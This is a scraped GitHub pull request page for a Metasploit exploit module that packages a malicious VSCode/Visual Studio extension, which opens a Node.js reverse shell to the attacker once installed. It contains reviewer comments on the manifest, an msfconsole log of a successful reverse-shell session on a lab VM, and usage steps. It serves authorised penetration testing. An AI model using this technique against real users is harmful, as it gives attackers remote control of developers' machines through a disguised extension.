-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Visual Studio Malicious Extension Module #18996
Conversation
"version": "#{version}", | ||
"publisher":"#{Rex::Text.rand_name}", | ||
"engines": { | ||
"vscode": "^1.60.0" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Just checking, this version is different than the one defined in manifest
(1.87.0), does it matter?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
forgot to sync the version numbers. for future traveler notes, I arbitrarily picked 1.60 (August 2021 release date). I don't believe we're calling anything special (APIs and such) so this should work on many older versions.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the module @h00die. Nice and straight forward, worked smoothly first try.
Ubuntu 22.04 with code_1.87.2-1709912201_amd64.deb
msf6 > use exploit/multi/fileformat/visual_studio_vsix_exec
[*] Using configured payload nodejs/shell_reverse_tcp
msf6 exploit(multi/fileformat/visual_studio_vsix_exec) > set lport 5989
lport => 5989
msf6 exploit(multi/fileformat/visual_studio_vsix_exec) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(multi/fileformat/visual_studio_vsix_exec) > exploit
[*] Started reverse TCP handler on 172.16.199.1:5989
[+] extension.vsix stored at /Users/jheysel/.msf4/local/extension.vsix
[*] Waiting for shell
[*] Command shell session 1 opened (172.16.199.1:5989 -> 172.16.199.131:52334) at 2024-04-16 19:04:03 -0700
id
uid=1000(msfuser) gid=1000(msfuser) groups=1000(msfuser),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
uname -a
Linux msfuser-virtual-machine 6.2.0-35-generic #35~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Oct 6 10:23:26 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
documentation/modules/exploit/multi/fileformat/visual_studio_vsix_exec.md
Show resolved
Hide resolved
27f5ad8
Release NotesThis adds a new exploit module that creates a malicious VS / VSCode extension file. |
This PR adds a new exploit that creates a malicious vsix file. a vsix file is a VS and VSCode extension file. Once installed, the user's computer will call back with a shell. It's not a bug, its a feature!
I opted for a node payload since thats what VSCode is running, plus its OS agnostic. Win Win. Currently you get 2 shells, seems to be something on VSCode's side.
Verification
use exploit/multi/fileformat/visual_studio_vsix_exec
set lhost [IP]
run
right one offset)
Install from VSIX...
.